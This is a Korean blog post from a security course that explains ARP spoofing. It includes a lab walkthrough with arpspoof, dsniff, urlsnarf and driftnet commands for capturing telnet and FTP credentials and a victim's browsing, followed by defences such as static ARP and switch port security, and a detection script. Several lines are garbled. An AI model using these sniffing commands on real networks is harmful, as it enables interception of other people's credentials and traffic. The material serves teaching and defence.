본문 바로가기
보안과정/네트워크

ARP, ARP Spoofing

by Luuii 2017. 10. 17.

http://cafe.naver.com/neteg/3101

ARP의 기본적인 개념은 우리 갓순태님의 강좌를 참고하도록하자. 갓갓순태 다시한번 경의를.

 

윈도우에서 임시적으로 MAC주소 변경하기

C:\> netsh interface show interface

C:\> netsh interface ip add neighbors "로컬 영역 연결" "192.168.20.200" "00-0c-29-d1-cc-22"

C:\> netsh interface ip delete neighbors "로컬 영역 연결" "192.168.20.200" "00-0c-29-d1-cc-22"

 

한번 통신하면 arp cache table에 저장이되고, MAC 주소가 틀리면 통신이 되지 않는다. ( IP <-> MAC)

ARP Spoofing Attack(ARP Cache Poisoing)

> 원격의 공격자는 알려진 IP에 대해 잘못된 MAC 주소를 계속 발생시켜 ARP cache가 잘못된 정보를 저장하도록 하여 로컬네트워크 상에서 서비스 거부 공격을 발생시킴

> 일반적으로 희생자 ARP Cache의 Gateway(Router) 주소를 공격자 MAC주소로 변조시켜서 외부로 나가는 데이터를 스니핑  하는데 이를 특별히 ARP Redirect 공격 이라한다.

> ARP Spoofing은 2계층 주소인 MAC주소를 속여서 트래픽을 스니핑(감청)하는 것이므로 2계층에서 동작.

> 2계층 주소는 서로 다른 네트워크로 라우팅 되지 않으므로 공격대상도 동일 네트워크 대역에 있어야 함.

> ARP Spoofing 공격에서 지속적으로 ARP reply 신호를 보내는 이유는 ARP cache에 동적으로 저장되는 정보는 일정시간 동안만 유지.

So, 지속적으로 Cache에 조작도니 정보를 저장하기 위해서는 지속적인 전송이 필요.

 

 

사용하는 툴

> nmap        - 포트 스캐닝

> arpspoof    - ARP Spoof 사용하는 툴

> driftnet      - urlsnar 툴에 의한 URL 이미지 파일을 보여주는 툴  

> urlsnarf      - 웹 요청하는 URL을 잡아 주는 툴

> dsniff         - 아이디 / 패스워드를 잡아주는 전문 툴

> webspy      - urlsnar 툴에의한 URL을 웹브라우저로 전송하는 툴 //실습이 제한됨.

 

2. 사용 시스템

> firewall ( 192.168.20.100 )

> linux200 ( 192.168.20.200 )

> win2008 ( 192.168.20.201 )

> KaliLinux ( 192.168.20.50 )

 

----------- linux200 -------------Kali ---------------win2008----------

   (Victim)             (Attacker)               (Victim)

 

( win2008 Server )

IP, MAC 정보 확인

C:\> ipconfig /all

 

C:\> arp -d

 

( Linux200 Server )

IP, MAC주소 확인.

 

# ifconfig eth0

 

( KaliLinux )

같은 네트워크에 존재하는 서버의 목록을 확인

 

# nmap -F 192.168.20.0/24

 

IPvs4 Forwarding 기능을 영구적으로 ON

# vi /etc/sysctl.conf

net.ipv4.ip_forward=0(기본값)

net.ipv4.ip_forward=1(수정)

 

[참고] IPv4 Frowrding 기능을 임시적으로 ON/OFF 시키는 방법

(IPv4 Forwarding OFF) # echo 0 > /proc/sys/net/ipv4/ip_forward

or

 # sysctl -w net.ipv4.ip_forward=0

(IPv4 Forwarding ON) # echo 1 > /proc/sys/net/ipv4/ip_forward

or

# sysctl -w net.ipv4.ip_forward=1

 

# sysctl -p

 

wireshar를 실행하고 ARP 스푸핑 시도

[TERM 1]# arpspoof -i eth1 -t 192.168.20.200 192.168.20.201

> 192.168.20.200한테 192.168.20.201의 MAC주소를 공격자의 것으로 변조해서 보냄

 

[TERM 2]# arpspoof -i eth1 -t 192.168.20.201 192.168.20.202

> 192.168.20.201한테  192.168.20.200의 MAC주소를 공격자의 것으로 변조해서 보냄

 

( Linux200, Win2008 Server )

MAC 주소 확인

아무것도 안나온다.

 

( KaliLinux )

dsniff 명령어수행

# dsniff -i eth1 -t 23/tcp=telnet host 192.168.20.200 ( 스니핑 - 감청 )

 

( win 2008 )

Linux200 서버로 telent 서비스 로그인

 

( KaliLinux )

 

# dsniff -i eth1 -t 21/tcp=ftp host 192.168.20.200

 

 

( win 2008 )

Linux200 서버로 ftp 서비스 로그인

 

( KaliLinux )

 

( Linux200, Win2008 Server )

ARP Cache Table 확인

 

<실습 2>

 

--------Router--------------------Kali---------------Win2008-----------

   (firewall)                    (Attacker)            (Victim)

 

선수작업

firewall, Win2008

arp -d

 

위의 순서대로

# nmap -F 192.168.20.100

# arpspoof -i eth1 -t 192.168.20.100 192.168.20.201

# arpspoof -i eth1 -t 192.168.20.201 192.168.20.100

 

[TERM 4]

# driftnet -i eth1

 

[TERM 5]

# urlsnarf -i eth1

 

( Win2008 Server )

이것저것 인터넷 서핑

 

( Kali Linux )

 

 

잘 되진 않지만 그래도 언뜻 상대가 뭘 보는지 언뜻 감은 잡힌다.

 

ARP Spoofing 증상

> (증상) 네트워크 부하량이 걸린다 ( 인터넷이 느려진다. )

> (확인) '#apr -a'에 중복된 MAC 주소가 존재한다    //서버 단에서 확인하는 방법

> (해결) arp cache table에 static 상태로 정보를 넣는다. == arp -s 옵션으로 주는 것.

 

서버 장비에서의 방어

> static arp table로 설정

>> 수동으로 설정할 경우 ARP Cache Table의 정보를 변조하지 못한다.

But, 이중 게이트웨이가 네트워크에 존재할 시에는 사용할수 없고 네트워크 변경 시 수동으로 바꾸어야 하는 불편함이 있다.

 

네트워크 장비에서의 방어

> 시스코 장비의 Port Security 기능을 사용하여 각각의 포트에 물리적인 MAC주소를 정적(static)으로 설정

> Port Security는 대부분의 스위치에서 제공하는 기능.

> 스위치의 각 포트별로 MAC 주소를 정적으로 설정하여, 설정된 MAC주소만 해당 포트를 통해 통신을 허용되도록 할 수 있음.

> 스위치환경에서 ARP를 위조하여 스니핑하거나 Ddos 공격을 차단하는데 효과적.

Port Security의 기능 구현

> 스위치의 각 포트별로 허용된 MAC주소를 지정.

> 특정한 MAC주소를 가진 트래픽을 스위치에서 차단 할수 있음

> 각 포트 별로 허용 가능한 MAC 수를 지정하여 이 수치를 초과할 경우 초과된 MAC주소는 더 이상 통신이 되지 않도록 차단 설정하거나 해당 포트를 아예 일정 시간 동안 또는 영구적으로 shutdown하도록 설정 할 수 있음.

 

네트워크 관리자의 대응법

> 감염 대상 파악

>> 가장 핵심은 주 감염원을 파악하는 것. ARP 스푸핑이 처음 발견되면 빠른 시간내에 MAC주소를 모니터링해서 감염원을 찾고 그 라인을 제거 해야한다. 게이트웨이의 IP를 가지려는 MAC주소의 장비를 필히 확인.

> 모든 하위 네트워크 상의 PC를 치료

> 장비 재정비

해킹당한 서버들은 다 밀어버린다.

 

ARP Spoofing 스크립트

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/bin/bash
 
START=200
END=202
NET=192.168.20
LOG=/var/log/arpwatch.log
 
while [ $START -le $END ] 
do
    ping -1 $NET.$START >/dev/null 2>&1
    START=`expr $START + 1`
done
 
arp -an > /root/bin/arp.txt 2> /dev/null
COUNT=`cat /root/bin/arp.txt | awk '{print $4}' | sort | uniq -| wc -l`
 
if [ $COUNT -ge 1 ] ; then
    echo -"TIME: `date` - ARP Spoofing now.\t\t[ WARN ]" >> $LOG
else
    echo -"TIME: `date` - ARP Spoofing now.\t\t[ OK ]" >> $LOG
fi
 
rm -/root/bin/arp.txt
cs

 

[참고 할만한 사이트]

http://soldier5683.tistory.com/18

반응형

'보안과정 > 네트워크' 카테고리의 다른 글

전송계층(Transport Layer)  (0) 2017.10.19
IP주소  (0) 2017.10.18
네트워크 인터페이스 계층(Network Interface Layer)  (0) 2017.10.17
TCP/IP 4계층  (0) 2017.10.16
OSI 7 계층  (0) 2017.10.16